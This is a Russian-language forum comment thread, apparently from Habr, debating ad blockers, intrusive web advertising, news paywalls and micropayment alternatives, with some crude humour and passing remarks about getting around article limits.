Впрочем, умеющий обращаться с белыми списками все равно даст ровно ноль целевых кликов, так что жизнь ваша пуста и беспросветна. Только и надежды, что на кликандеры.
+1
Не отчуждаете — если только не являетесь штатным редактором на зарплате или пишите по PPA (т.е. тоже ради денег с оплатой за каждый удачный пост).
Тогда да — кто платит за создание контента, тот права на него и имеет.

А если пишите тут не за деньги — то нет, только стандартная лицензия на использование:
Принимая условия настоящего Соглашения, Пользователь безвозмездно предоставляет Хабру простую(неисключительную) лицензию на использование Контента следующими способами:
пункт 4.8
id.tmtm.ru/info/agreement


MTyrz
+2
А если я закрою правый глаз чтобы не видеть баннер на правой половине экрана — это тоже пиратство? Или скажем гипотетическое приложение на телефон, позволяющее подходить в кинотеатр не ко времени, указанному на билете а к концу трейлеров (или просто вместо просмотра трейлера втычу в книжку) — это кража у кинотеатра?

В случае с веб-сайтом ваш сервер отдает пользователю пакет информации. Способ ее просмотра — уже дело пользователя (например увеличить изображение, скрыть мешающий элемент или поменять шрифт на более читабельный). Пользователь получил пакет информации законным путем и не нарушает прав правоторговца на владение и распространение, или прав автора на авторство.
Другое дело если пользователь перед тем как получить доступ к сайту подписывает соглашение, где обязуется просматривать полученную информацию определенным образом.
0
А если я закрою правый глаз чтобы не видеть баннер на правой половине экрана — это тоже пиратство? Или скажем гипотетическое приложение на телефон, позволяющее подходить в кинотеатр не ко времени, указанному на билете а к концу трейлеров (или просто вместо просмотра трейлера втычу в книжку) — это кража у кинотеатра?

Скатываться в это поле все-таки не стоит.
Если вы готовы терпеть неудобства ради непросмотра — терпите.
Выключайте телевизор при старте рекламы и теряйте несколько секунд после окончания, или смотрите несколько секунд рекламы, например.
По приложению — аналогично. Ходите людям по ногам в темноте, разливая пиво и рассыпая попкорн ради идейности.
Это ваш выбор — вы выбрали геморрой вместо комфорта. Считайте это своеобразным кармическим платежом наглому рекламодателю xD.
В случае с веб-сайтом ваш сервер отдает пользователю пакет информации. Способ ее просмотра — уже дело пользователя (например увеличить изображение, скрыть мешающий элемент или поменять шрифт на более читабельный). Пользователь получил пакет информации законным путем и не нарушает прав правоторговца на владение и распространение, или прав автора на авторство.

Ну так открывайте консоль разработчика и вперед. Открыл сайт, открыл консоль, выбрал баннеры — поудалял их. В чем проблема?
Пользователь с adblock пакет информации не получил. Пакет получил adblock, который все вырезал и конкретно пользователь получил модифицированный результат.
+1
Ну так открывайте консоль разработчика и вперед. Открыл сайт, открыл консоль, выбрал баннеры — поудалял их. В чем проблема?

Я так и делал, пока AdBlock не поставил. А почему поставил? Потому что задолбался вырезать всплывающий на весь экран член каждый раз. Причём закрыть его просто крестиком нельзя — откроются ещё 5 вкладок с членами флэшем и видео. И это не гарантировало, что при лишнем клике член не вылезет снова. Ограничения по трафику на тот момент у меня не было, но было ограничение по времени пользования (18:00 — 22:00) и скорости доступа. С блокировщиком я просто перестал тратить своё время на вырезания того, что мне совсем не надо, мешает, раздражает. Просто удобнее. А некоторые в то время сидели по трафику и реклама жрала трафик поварёшкой. На килобайт полезной информации, за которой я пришёл на сайт и которая является основным контентом сайта, прилетало мегабайт 10 рекламного шлака.

По аналогии с реальным миром реклама в интернете выглядит так: вы останавливаетесь у прилавка с желанием купить журнал. Тут же к вам подбегает десяток каких-то хмырей, машет перед лицом буклетами и предлагают купить часы, таблетки от поноса, шлюх, дилдо. А некоторые вообще оттаскивают вас от прилавка с журналами к своему, где пытаются всучить вам покрашенные под золото оловянные запонки со стеклянными брюликами. Ваши действия?
-1
По аналогии с реальным миром реклама в интернете выглядит так: вы останавливаетесь у прилавка с желанием купить журнал. Тут же к вам подбегает десяток каких-то хмырей, машет перед лицом буклетами и предлагают купить часы, таблетки от поноса, шлюх, дилдо. А некоторые вообще оттаскивают вас от прилавка с журналами к своему, где пытаются всучить вам покрашенные под золото оловянные запонки со стеклянными брюликами. Ваши действия?

По аналогии с реальным миром вы останавливаетесь у киоска купить журнал, а там у журналов заклеены все тексты на лицевой — ведь там же реклама того, что внутри, а иногда (типа журналов с объявлениями о покупке авто), там, о, ужас, реклама. Но вас это почему-то не парит и вы не кричите, что бы всю рекламу убрали — вы же тут идете.
0
Если мне нужен журнал с рекламой, я покупаю журнал с рекламой (иду на сайты с объявлениями типа «Из рук а руки»). Но вы останавливаетесь купить тот же журнал с рекламой о продаже авто, а вам тут же предлагают купить увеличитель члена. Да и реклама в журнале НЕ ЗАКРЫВАЕТ контент. Она сродни пассивной (статичной) баннерной рекламе в сайдбарах или подвале сайта. Эту рекламу я не замечаю. просто потому что она НЕ МЕШАЕТ получать контент. Выпрыгивающий же член в поп-апе похож на тех типов, которые мешают тебе купить/листать журнал. И избавиться от него, казалось бы, легальным «крестиком» (уйди и не мешай) нельзя, потому что как только крестик нажат, появляется ещё толпа типов, которые подсовывают тебе в руки тот самый дилдо вместо журнала. Вот из-за таких типов и появились блокировщики рекламы.

Другой пример. У вас есть машина? Вы ездите по дорогам? Баннерная реклама — бигборды вдоль дороги. Могут быть анимированы даже. Но не появляться внезапно перед капотом автомобиля. А в интернете реклама часто ведёт себя именно так — появляется перед капотом автомобиля.
0
Если мне нужен журнал с рекламой, я покупаю журнал с рекламой (иду на сайты с объявлениями типа «Из рук а руки»). Но вы останавливаетесь купить тот же журнал с рекламой о продаже авто, а вам тут же предлагают купить увеличитель члена. Да и реклама в журнале НЕ ЗАКРЫВАЕТ контент. Она сродни пассивной (статичной) баннерной рекламе в сайдбарах или подвале сайта. Эту рекламу я не замечаю. просто потому что она НЕ МЕШАЕТ получать контент.

Только разговор у нас вроде о блокировщиках. Они такую рекламу блокируют. И опять мы выходим к тому, что блокировщики блочат всю рекламу, а не выпригивающие члены, но при этом все пользуются блокировщиками не потому что они блочат выпригивающие члены, а потому что они блочат всю рекламу. И в этом вся проблема.
Другой пример. У вас есть машина? Вы ездите по дорогам? Баннерная реклама — бигборды вдоль дороги. Могут быть анимированы даже. Но не появляться внезапно перед капотом автомобиля. А в интернете реклама часто ведёт себя именно так — появляется перед капотом автомобиля.

Есть. Только вот на топ-100 сайтов нет такой рекламы, что не мешает блочить их, ну или заплатите вымогателю в виде Adblock…
Я бы вполне понял если бы в белый список Adblock сайты со спокойной рекламой вносились автоматически.
Это был бы некий fair-use.
Только вот если у вас сколько-нибудь интересная посещалка — вам надо заплатить каждому разработчику плагина что бы попасть в белый список…
Не находите это сродни вымогательству?
+1
Вы опять перепутали причину со следствием. Не AdBlock первый появился, а навязчивая реклама. Не было бы выпрыгивающих членов, многомегабайтных флэшей, видео и 400% громкости внезапного звука не появились бы блокировщики всего этого дерьма. А то, что под раздачу попала вся реклама… что ж, лес рубят — щепки летят. Да и потому, что через дырку fair-use могут пропихнуть увеличитель члена просто сменив контент по урлу спокойной рекламы
0
Вы опять перепутали причину со следствием. Не AdBlock первый появился, а навязчивая реклама. Не было бы выпрыгивающих членов, многомегабайтных флэшей, видео и 400% громкости внезапного звука не появились бы блокировщики всего этого дерьма.

Которые блокируют и не дерьмо…
Забавно.
А то, что под раздачу попала вся реклама… что ж, лес рубят — щепки летят.

Забавно. Из-за ваших щепок автору поста надо потратить 250$ в год… Мелочи жизни же)
Да и потому, что через дырку fair-use могут пропихнуть увеличитель члена просто сменив контент по урлу спокойной рекламы

То есть покупка места в whitelist от этого конечно защищает. а бесплатное место это сразу дырка. Логика навроде некоторых людей, которые считают что платная парковка в промзоне защищает жителей близлежащих домов (которые минимум метрах в 300-400) от отсутствия парковочных мест, а не приводит к заваленными левыми машинами дворам…
0
Ещё раз, чтобы дошло: не было бы агрессивной, тяжёлой, навязчивой рекламы — не было бы блокировщиков.

Во все времена информация покупалась. Газеты, журналы, книги. Покупались. А как кто-то начал продавать информацию в интернете, так сразу «да как же так, я же думал всё бесплатно». Идея монетизации рекламой практически изжила себя. Скажите спасибо агрессивным рекламщикам. Тем самым типам, которые у лотка с журналами суют в лицо увеличитель члена. А на счёт заклеенной рекламы… несколько лет назад видел рекламу-обзор приложения для AR, которая режет (замыливает) рекламу в изображении. Why not?

А платная парковка призвана защищать не дома от засилья авто во дворах, а защищать сами авто от неадекватов/вандалов во дворах. У друга оторвали бампер. Он посчитал и пришёл к выводу, что платная парковка в год обходится дешевле бампера. Не вижу аналогии с рекламой
0
Ещё раз, чтобы дошло: не было бы агрессивной, тяжёлой, навязчивой рекламы — не было бы блокировщиков.

Святая наивность, ей богу.

Есть возможность заблокировать рекламу? Блокируют.
Нет возможности заблокировать рекламу? Не блокируют.

Всё. Будь реклама спокойной, не агрессивной, то это не помешало бы блокировщикам появиться на свет. Они бы появились и набрали свою популярность, просто эта самая популярность была бы не на уровне 99,9%, а на уровне 10-30%.
Вот только, никто не гарантирует, что при этих 10-30 использования все были бы довольны. % блокировщиков всё равно понижал бы прибыль, что способствовало бы увеличению самой рекламы\поиску другого пути. И люди бы так же боролись с блокировщиками, как делали это в течении последнего десятилетия. Просто интенсивность была бы меньшей. Но рекламы бы становилось всё больше, чтобы покрыть % использующих блокировщиков и из-за этого бы рос сам % использующих.
Итог: ситуация была бы примерно такой же, какая есть сейчас, только с использованием около 70-80%, а не 99,9% как сейчас. И произошло бы это не в данный промежуток времени, а лет через 10-15.
0
Вот по этому я и говорю, что идея монетизации рекламой себя изжила. Хватит читать через строчку и вырывать фразы из контекста. Почему есть ресурсы на которых абсолютно нет рекламы, зайди туда с блокировщиком или без? Потому что у них другая система монетизации контента либо сайт держится на энтузиазме.

Не моя задача остаться на сайте с кучей рекламы, а твоя задача удержать пользователя. «Как же так, я же сделал супер-пупер-крутой дизайн за 100500 нефти, почему же никто не заходит на сайт (мало времени проводит, всю рекламу не видит)?» Просто потому, что без блокировщика пользователь получает членом по лбу при входе на сайт и закрывает вкладку. И ищет тот же самый контент в другом месте, где члены в лицо не прыгают. Да и пусть там будет баннерная реклама в подвале, она не мешает основному контенту. В своё время были «баннеркликеры» для фарминга платежей с просмотра реклам. Пользователю платили за просмотр рекламы. Из-за баннеркликеров перестали. Но теперь начали платить сайтам за клики на свою рекламу. А чтобы пользователь кликнул, давайте выведем её на весь экран, повесим на весь сайт, чтобы любой клик пользователя запускал переход на рекламный сайт.

Проведите эксперимент: посчитайте сколько трафика у вас уходит на сёрфинге с включенным блокировщиком и выключенным. Или поставьте ограничение на, скажем, 500Мб в месяц. Даю 90% вероятности, что рекламорезка будет включена.
0
Хватит читать через строчку и вырывать фразы из контекста.

Советую применить этот совет к себе и перечитать то, что я написал и то, с кем вы в целом ведёте диалог.

Подсказка: я не lolhunter.
0
Прошу прощения, не обратил внимания на никнейм. Но Ещё раз перечитайте те сообщения, которые вы пропустили, отвечая на моё. Основной посыл: агрессивные рекламщики спровоцировали популярность блокировщиков. AdBlock-ом пользовалось 3,5 человека в самом начале. По большому счёту статистическая погрешность. А когда рекламные сети в конец фалломорфировали тогда стало статистической погрешностью пользователи без блокировщиков.
0
Есть возможность заблокировать рекламу? Блокируют.
Нет возможности заблокировать рекламу? Не блокируют.

Зачем ставить притормаживающий работу браузера плагин, тратя время и усилия если реклама — это ненавязчивые картинки сбоку, а не мигающие, машущие и орущие пятидесятимегабайтные монстры на весь экран с кнопкой «закрыть» на 3*3 пикселя, место закрытия попапа открывает еще пять вкладок с таким же массаракшем (уверен, где-то такое есть)?

Если бы для рекламы в интернете были хотя бы такие же стандарты как для рекламы ИРЛ — то блокировщик я, и, думаю, большая часть их пользователей не ставили бы.
0
Зачем ставить притормаживающий работу браузера плагин, тратя время и усилия если реклама — это ненавязчивые картинки сбоку

А зачем люди блокируют рекламные посты на хабре? Зачем они вообще блокируют эту самую рекламу на хабре?
Почему люди жалуются на рекламу в фильмах, блогах и прочем(в плане, когда это просто показ чего-то логотипа, обсуждение какого-то прибора определённой фирмы и пр.)?
Зачем люди в жизни срывают рекламные объявления?

Люди в целом не любят рекламу и не важно, навязчивая она или нет, яркая или тусклая, цепляющая или нет — найдётся процент людей, который будет яростно ненавидеть её и проклинать всех. Именно они поставят себе блокировщик, не смотря ни на что. Просто чем навязчивее, ярче и цепляющее — тем больше этот % будет.

Про плагины — не такие они и тормозящие, даже наоборот, совершенно не мешающие я бы сказал ;)

Если бы для рекламы в интернете были хотя бы такие же стандарты как для рекламы ИРЛ — то блокировщик я, и, думаю, большая часть их пользователей не ставили бы.

Ну, я бы поставил себе в жизнь блокировщик, будь такая возможность. ж)
0
Ну, я бы поставил себе в жизнь блокировщик, будь такая возможность. ж)

Я уже писал о том, что пару лет назад видел прилагу для AR, которая «мылит» рекламу. Только ходить тогда придётся в Holo-Lens или ещё каком AR-девайсе постоянно ))))
0
Люди в целом не любят рекламу и не важно, навязчивая она или нет, яркая или тусклая, цепляющая или нет — найдётся процент людей, который будет яростно ненавидеть её и проклинать всех. Именно они поставят себе блокировщик, не смотря ни на что. Просто чем навязчивее, ярче и цепляющее — тем больше этот % будет.

Так о проценте и речь: если блокировщик себе поставят только идейные рекламоненавистники, а не все кто хочет веб-серфить с минимальным удобством, то ситуации «почти у всех пользователей адблок и реклама не приносит кликов» не возникнет.
+1
Есть возможность заблокировать рекламу? Блокируют.
Нет возможности заблокировать рекламу? Не блокируют.

Да ну-у-у?

Вы считаете что рекламу блокируют просто из любви к искусству, а не потому что она реально мешает?

Человек ленив по своей природе. Установка блокировщиков требует каких-никаких телодвижений. А к чему это все, если она не мешает?

Я уже писал про причины, побудившие меня установить блокировщик. Дополню немного:

Я не пользовался блокировщиком, потому что на сайтах, на которых я обычно проводил время, ее было не так уж и много. Жена меня спрашивала, почему я не устанавливаю блокировщик (для нее он как раз был актуален)? Я отвечал, что мне реклама не мешает.
Но так было ровно до того момента, пока реклама на необходимых мне сайтах не стала реально тормозить или закрывать просмотр страниц.
0
Не помню. Друг называл, но я только помню, что бампер ему не дёшево обошёлся. Но тут фишка в другом: во дворе сегодня ты сделал бампер, а завтра придётся и бампер, и зеркало, и стёкла ставить… Чудаков на букву М хватает
0
А платная парковка призвана защищать не дома от засилья авто во дворах, а защищать сами авто от неадекватов/вандалов во дворах. У друга оторвали бампер. Он посчитал и пришёл к выводу, что платная парковка в год обходится дешевле бампера. Не вижу аналогии с рекламой

Еще на это отвечу.
В Москве платная парковка ни от чего защищает.
Если твою машину поцарапали — вызвай гаи, ищи камеры в округе и тд.
И вся идея этой платной парковки была якобы в том, что в центре жителям негде парковаться. Потому введем платную парковку на дороге и закроем дворы.
У кого нет денег закрыть дворы — тот наслаждается всеми теми, у кого нет денег на парковку по 200р в час.
Но самое забавное было дальше. Дальше ввели платную парковку в радиусе километра от станции метро. Пофиг там промзона или что. У нас например 400 метров отменной промзоны размечено и на ней стоит 0 машин.
Люди, которые раньше на машине доезжали до метро и ехали на нем — пусть едут на машине до работы. Через центр, создавая пробки — отличная идея.
+1
То есть уклонение от просмотра рекламы — законно только если оно неудобно для пользователя? Или только если проводится мануально (хотя приложение, показывающее время начала фильма вместо времени начала трейлеров по-вашему это нормально, хотя вместо пользователей узнает продолжительностьтрейлеров в данном кинотеатре скрипт )?

Ну так открывайте консоль разработчика и вперед. Открыл сайт, открыл консоль, выбрал баннеры — поудалял их. В чем проблема?

А что меняется если этот процесс автоматизован? В чем проблема?
0
Сколько раз было такое на РБК. Пытаешься ткнуть новостную сслыку, а под мыш влезает большой рекламный блок на покупку автомобиля. Это и заставило оторвать пятую точку и прикрутить рекламу.

Скажу более. Есть некоторые виды тематических журналов, которые покупаю в бумажном виде, в том числе из-за тематической рекламы.
+40
Новостной сайт — это бизнес, такой же, как ларёк с сигаретами или какой-нибудь банк. Не может владелец его монетизировать, не умеет работать по современным правилам или не хочет, так пусть исчезнет. На его место уже десяток стартапов метят. Нечего поддерживать тех, кому эволюция указала путь на свалку истории.
Тем более, что ценность новостников сейчас нулевая, ибо их материалы стали непроверяемы, и отделить фантазии автора от фактов почти невозможно.
+22
Мне кажется что автор статьи может не видеть экономическую составляющую данных решений, которая понятна тем кто принимает решения включать платную подписку для популярных новостных сайтах.

Качественный контент был в первую очередь у печатных изданий. Когда они пришли в интернет, они либо пытались завоевать долю рынка, либо количество денег зарабатываемых на онлайн пользователях не являлось значимой по сравнению с оффлайн подписчиками.

Когда количество оффлайн подписчиков уменьшилось (в первую очередь за счёт удобства онлайн версий и развития носимых девайсов), то закономерный шаг — это включение платы за просмотр онлайн версий.

Это кстати видно в сравнении новостных сайтов телеканалов и печатных изданий. Телеканалы так и живут за счёт рекламы, без подписок.

Поэтому я думаю что скорее всего не «адблок убил бесплатный качественный контент», а «интернет убивает оффлайн издания и они уходят в онлайн подписки».

С моей точки зрения, надо создать независимый сервис микроплатежей, типа paypal, чтобы в один клик можно было оплачивать транзакции в несколько центов, с возможностью авто-оплаты для выбранных сайтов. И опцией referral payments для рекламодателей.

И когда этот сервис станет достаточно популярен, так что большинство создателей контента станут его использовать, вот тогда будет альтернативная модель сервисам подписок.
+1
Кстати работал надо подобным сервисом микроплатежей и одна из функций была пополнение баланса аккаунта за счёт… просмотра рекламы.

Т.е. если тебе хочется «бесплатно» получать контент (или всё что угодно за что принимают платежи с данного сервиса), заполняй профиль и смотри «активную» рекламу, за каждый просмотр будет зачислено N центов. Или выполняй задания типа Яндекс Толоки или Amazon Mechanical Turk.
0
Ну типа того, только было это лет пять назад. Хотя конечно подобных проектов было много.

Наверно это профдеформация у создателей контента, они так за него цепляются, что все подряд свои системы строят, а не могут договорится об одной общей, удобной для пользователя. Вот и получается что надо подписываться на 4-5 разных сайтах.
0
Это не проф деформация. Это отсутствие большого и удобного игрока. Какой смысл договариваться об использовании наколенной разработки заточенной под другой сайт?
0
Netflix — это большой игрок? А зачем тогда Disney разрывает соглашение с ними и строит свою собственную систему?

Конечно понятно зачем, но мне как пользователю придёт еще один аккаунт заводить и т.п.
0
Мы все еще про сервис микроплатежей или уже про сервисы с контентом? Это разные вещи и у них разный рынок с разными условиями, я не уверен что их можно просто вот так взять и смешать.
0
Я говорил про производителей контента и как пример привел то что они даже при текущем положении дел за свой контент цепляются изо всех сил
Вот и получается что надо подписываться на 4-5 разных сайтах.
Сколько бы значимого сервиса микроплатежей нету ни у одной системы, поэтому существующие микроплатежи обсуждать смысла нету.

Амазон наиболее близко стоит к этому, но они продают контент который не требует микроплатежей (т.е. не статью из газеты или журнала, а книгу или видео) начиная где-то с $2-3
-2
> Качественный контент был в первую очередь у печатных изданий.

И тут вспоминаются ларьки с желтушным чтивом.
-5
Автор не уточняет.
А желтуха появилась лет за сто до появления интернета.
А если вышеупомянутые издания превратились в желтху — ну значит, туда они и стремились.
+4

Серьезно? Перечитайте статью, пожалуйста. Где-то в середине перечень ныне платных изданий.

НЛО прилетело, и опубликовало эту надпись здесь
+2
С моей точки зрения, надо создать независимый сервис микроплатежей, типа paypal, чтобы в один клик можно было оплачивать транзакции в несколько центов, с возможностью авто-оплаты для выбранных сайтов
Что-то подобное пытается сделать Brave Browser: Basic Attention Coin,
+3
В крипте такие попытки есть. Браузер Brave со встроенным adblock'ом и автоматическими платежами сайтам, на которых сидел пользователь, пропорционально времени.
Пока модель выстраивается, сейчас токены раздают пользователям, пользователи указывыают каким сайтам они готовы перечислять токены. Позже видимо пользователям нужно будет покупать токены.
0
Хорошая задумка, но пропорциональность времени не совсем подходит. Во-первых, создатели контента могут запросить вполне определённую цену за просмотр, а не за время просмотра. Во-вторых, среди согласных на оценку по времени начнётся борьба за задержку пользователя на сайте. Статьи станут наполняться водой, будут появляться видео-вставки, игры и т.п.
+1
Если контент будет становиться хуже, пользователи будут там реже задерживаться. Естественный отбор.
+1
С моей точки зрения, надо создать независимый сервис микроплатежей, типа paypal, чтобы в один клик можно было оплачивать транзакции в несколько центов, с возможностью авто-оплаты для выбранных сайтов. И опцией referral payments для рекламодателей.


С удовольствием бы донатил копеечку понравившейся статье, будь такой сервис с оплатой в 1 клик.
+35
мы, пользователи, убили бесплатный доступ к качественному контенту

Бесплатный хорошо, когда совсем бесплатный, а не когда расплачиваешься своим мозгом. Зачем вам wired с рекламой? Потому что вы, якобы, не обращаете внимания на неё? Это только сознательно не обращаете. А рекламный эффект остаётся.


Лично я не готов спасать бесплатную модель, разрешая взамен лить мне в голову всё подряд. Я оцениваю, что платный контент для меня дешевле, чем потенциальные потери от инфомусора в голове.

0
С учетом того что на рекламе зарабатывают и она таки таргетированная, делайте выводы почему вам показали эту рекламу.

Единственное что меня раздражает это попытка взять в залог мои швейцарские часы. Причем часто так. Даже чаще всяких гаджетов и распродаж на ебае.
+15
делайте выводы почему вам показали эту рекламу

Потому что алгоритм ML так сработал. Делать из этого какие-то далеко идущие выводы — трата времени. Даже хуже, чем смотреть саму рекламу.

0
Я оцениваю, что платный контент для меня дешевле, чем потенциальные потери от инфомусора в голове.

и тут же ниже

Срочный выпуск wired — это необходимость? Вряд ли. А вот все знания доступны на торрентах, scihub и прочих.
+23
Это логичное продолжение «войны блокировщиков»

Простите, а с чего она вообще эта война началась? Не с желания ли есть икру поварёшкой владельцев ресурсов, отдававших или неприлично много места под баннеры… или поощряя просто неприличные баннеры?
Конечно можно сказать «ну мы на самом деле белые и пушистые и так грубо не продавались». Но конечному потребителю в большинстве своём не до настройки вайт-листов и это для человека образованного не должно быть откровением. Вот и получается — пострадали все, но вы, потребители, виноваты, ибо отказались от увеличения пиписьки, обрубив одним махом все баннеры.
+5
Что-то я не встречал рекламы увеличения пиписьки на Хабре или Wired. Или на WSJ с Guardian.

И вы немного промахнулись. Я говорю с точки зрения пользователя, а не издателя. Пользователя, которому теперь придется платить 200-300$ в год за то, что еще пару лет назад он мог получить бесплатно с парой баннеров на экране. Может у вас и есть лишних три сотни в год, а вот у многих — нет. Речь в первую очередь о студентах и малоимущих, которых война блокировщиков еще глубже загнала в бесплатные социальные сети.

А вот там информация уж точно непроверяема. Да и вообще, ситуация, при которой информация становится доступна только элите (в плане финансов), а не всем подряд — это край.
+4
давайте таки определимся — мы говорим о массе потребителей в целом, или же о прослойке с их потребностями в определенного рода информации, которые считают себя пострадавшими в баннерной вакханалии?
+5

Вы не привели никаких аргументов что внедрение подписки стало следствием именно популярности блокировщиков рекламы.
Да и на хабре платной подписки нет(раз уж начались сравнения).

+1
Зато реклама теперь прямо в текстах статей от корпоративных блогов.
+5
информация становится доступна только элите

Именно так было 2 тысячи лет и именно сейчас это не так. Срочный выпуск wired — это необходимость? Вряд ли. А вот все знания доступны на торрентах, scihub и прочих. Может и архив wired можно найти.


Но сам ваш критерий, что 200$ в год за то, что действительно нужно (если нужно), это принадлежность к элите, забавен. Я вот не чувствую себя элитой почему-то, хотя такие расходы у меня есть.

+7
Как бы это 6.5% медианной зарплаты. Это очень дохрена. И в районе 18% от всех свободных денег сверх прожиточного минимума. Цифры примерные, но это очень много.
Медианную зарплату взял за 25000, прожиточный минимум 15000.
+1

Да, согласен. Но три издания из статьи (а не одно) в базовой версии стоят в сумме 112$ в год. Wall Street Journal за 350$ может и можно считать критерием принадлежности к элите, живущим на медианную зарплату он вряд ли полезен.


Я согласен, что подписка не особо дешёвая (у меня ни одной, так как не знаю, зачем мне это нужно), но всё же не для элиты. Да и я лично не против пиратства для личных целей, если человек реально хочет освоить, например, фондовый рынок по WSJ (не знаю, можно ли). Короче, имхо, всё не так .

+4
Кхм, в тексте статьи указываются зарубежные издания (в основном, кажется, американские). И позвольте уточнить, что при минимальной американской зарплате (7.25 $/час) 200 $/год — это 1,32 % годового дохода. При МРОТе, не при медианной. Берете доход РФ, берите и цены изданий РФ, для сравнения.
+1
С одной стороны согласен. С другой — потребление контента интернационально. А эти журналы не делают региональных цен, как Steam. ragequit переживает же в том числе, что он сам пострадал.
+2
Ну могу на спор поставить, что бОльшая часть аудитории этих журналов — это США и другие развитые страны.
+1
Студентам и малоимущим можно освоить Incognito mode и просмотр из кэша Гугла, пока честные американцы платят за подписку.

P.S.: зашел на Wired — 22 заблокированных элемента. Добавил еще 4 — стало комфортней читать. Кто-нибудь знает расширение для Хрома как Read Mode у Firefox?
+1
Сайты стали умные, если ты заходишь через инкогнито режим, без cookie с историей, они тебе сразу ничего не дают.

Надо сделать расширение, которое для списка сайтов, будет ротировать например 20 наборов cookies.
0
У Incognito mode есть и куки, и история, они просто сбрасываются каждый раз, когда браузер закрывается.
0
В этом то и проблема, если у вас куки которые сассоциированны с историей созданной только сегодня, то такому пользователю дадут отлуп.

А если ей пару лет, пусть и не часто используемой, то считается адекватным пользователем и для затравки выдадут пару статей бесплатно.
+3
Можете привести пример, пожалуйста? Никогда такого не видел. Пользователь в incognito ничем не отличается от пользователя со свежеустановленного браузера/системы, или, к примеру, пользователя в домене впервые залогинившегося с компа в конференц-рум, и мало чем от первого посещения сайта. Если сайты начнут вместо привлечения новых посетителей блокировать их — я очень удивлюсь.
+1
economist.com — захожу в инкогнито (смотреть печатную версию — current edition) сразу же «You’ve reached your article limit», после этого сразу же с того же компьютера из обычной сессии — даёт пару статей посмотреть.

Вероятность того что кто-то поставил новый компьютер и сразу пошёл на economist.com минимальна, а в противном случае, кто-то тебе выдаст utag или ещё какую глобальную tracking cookie
0
Они научились определять Incognito mode Хрома, кукис тут не при чем. В Firefox, к примеру, все работает:


Можно историю сбрасывать, суть же не в конкретном средстве, а в принципиальной возможности.
+14
Газеты всегда продавались за деньги. Книги всегда стоили прилично. То, что люди хотят денег за свою работу — вполне логично. И нормально. А вот демонстрация всякой хрени, не относящейся к читаемой информации — это ненормально. Если мне нужны источники определённой тематики — я оформлю подписку. Предпочитаю читать нормальный текст, а не отвлекаться на вырвиглазную рекламу. Тем более что с каждым годом содержимое этой рекламы становится всё более навязчивым. Я лично задолбался после каждого поиска в яндексе или гугле какого-то оборудования потом неделю смотреть предложения о продаже его в этой «ненавязчивой» рекламе. Потому umatrix включен и работает практически постоянно.
0
Полностью согласен и поддерживаю обеими руками. Давно пора отделить котлеты от мух: существуют тематические сайты, так пусть будут и чисто рекламные.

Очень мне понадобится посмотреть чем там сейчас лечат плешь в левом ухе или еще что — зайду и буду упиваться хоть целую неделю. Если я ищу информацию, например, по химии, то зачем мне знать о скидках на кирпич или гостинный гарнитур?

Лично мою мнение: смесь информации, подаваемая сейчас в умы пользователей ВРЕДНА. Именно по этому я отключал и буду всегда отключать рекламу.

P.S. Если будут существовать рекламные сайты, то любой желающий всегда сможет их просмотреть, не напрягая остальных.
+1
Я бы на такой сайт даже ходил. Причем достаточно часто. Вот понадобилось мне купить новый ноутбук. А я несколько лет не следил за их прогрессом, что сейчас актуально? Я бы зашел на такой сайт, посмотрел бы какие в принципе фирмы достаточно активны чтобы крутить там рекламу, посмотрел бы модели и это бы стало нормальной отправной точкой для дальнейших поисков оп обзорам и характеристикам. А так мне приходится копаться в своей памяти о каких фирмах я в принципе слышал, искать их сайты, парсить этих чудовищ своим несчастным мозгом в попытке найти хоть какую-то информацию, хотя бы список моделей по году выпуска. А потом еще неделю ходить по интернету читать отзывы. Нет, последний шаг пришлось бы делать в любом случае, но вот все до него было бы неплохо получить в одном месте. Ну или хотя бы в двух-трех.
А может я не в курсе и такое уже есть?
0
Ну… лично для себя, в именно варианте «сайт рекламы», хожу на я.маркет — весьма удобно.
+1
Я раньше тоже так делал, но сейчас я живу в другой стране и набор товаров на я маркете нерелевантен даже если не смотреть на цены.
0
//Не докапываюсь
А Amazone вам не подойдет? Я, как ни странно, и его, порой, использую (более для экзотики, в духе пленоптической камеры).
0
Как ни странно амазон не подходит. Потому что когда я реально искал новый ноутбук месяц назад все полтора десятка интересных мне моделей имели от 0 до 5 отзывов в рейтинге. И по максимум одному ревью. И это не какой-то нонейм, а нормальные thinkpad от lenovo, пусть и не флагманы. Может мне так повезло конечно, но вообще на амазоне это достаточно частая ситуация у меня: 2-3 топ товара в категории имеют нормальный рейтинг с нормальным количеством голосов и полтора десятка ревью, остальные — в пределах статистической погрешности.
0
Что удивительно, но в США и близко нет таких удобных каталогов. Все в куче и фильтрация по 2-5 параметрам.
+2
Гм, то есть по вашим расчётам показ пары баннеров на экране в день по мне окупается подпиской в 200-300 долл в год? Как в известном анекдоте, и где же мне взять свою долю?

Иначе говоря, по этой логике ожидаемый доход от покупателя превышает 200 долл в год, а раз так, то да, у такого пользователя по определению эти лишние деньги есть.
+1
Это работает не так. Было 10000 пользователей смотревших рекламу, осталось 100 платящих по 300$ в год и 300 достаточно жадных/бедных и при том достаточно умелых чтобы эффективно обойти защиту.
0
Я думаю, что оно больше не работает независимо от адблока. Баннерная реклама не слишком эффективна, и окупить работу СМИ за счёт баннеров можно только задрав такую цену на рекламу, которая рекламодателю невыгодна.
0
Я считаю, если вдруг будет принят закон, вдвое уменьшающий рекламное время на ТВ/РАДИО и как то вдвое сокращающий интернет рекламу (не спрашивайте как), то доходы рекламных площадок не упадут ни на рубль, а могут только вырасти. И соответственно — если все интернет площадки удвоят свои рекламные площади — их доходы не изменятся.
+1
Вот и я подумал, что у людей выработался своеобразный «иммунитет» против рекламы. И они не кликают на все баннеры подряд как 15 лет назад. Поэтому рекламодатели ищут другие способы и многим сайтам уже не достаётся.
0
Ну менять работу, менять привычки. Раньше студент мог учиться на пиратской винде и фотошопе, возможно, скоро ему придется освоить линукс и гимп. А может взять кредит или найти работу фрилансом.

Никто не мешает сделать свой сайт и публиковать там новости по мотивам авторитетных изданий. Копирайта на новости нет, если чуть рерайтить текст и не брать авторские иллюстрации.
+15
Прямо сейчас открыл Wired и что я вижу на развороте? Больше половины разворота занимает реклама Hennesy WSOP (спасибо, но я не пью). Листаю вниз. 1/3 второго разворота занимает баннер, который то хлам с Али показывает, то хлам с Жирбеста.
WSJ 1/3 первого разворота занимает баннер Go Korean. Чуть ниже (на 2 или 3 экране) небольшой баннер с какой-то китайской фигней.
TheGuardian 1/5 первого экрана рекламный баннер (наверху). Чуть ниже (на 2 или 3 экране) еще 1 небольшой баннер с какой-то китайской фигней.
И эти люди еще о чем-то плачутся? Особенно Wired.
-2
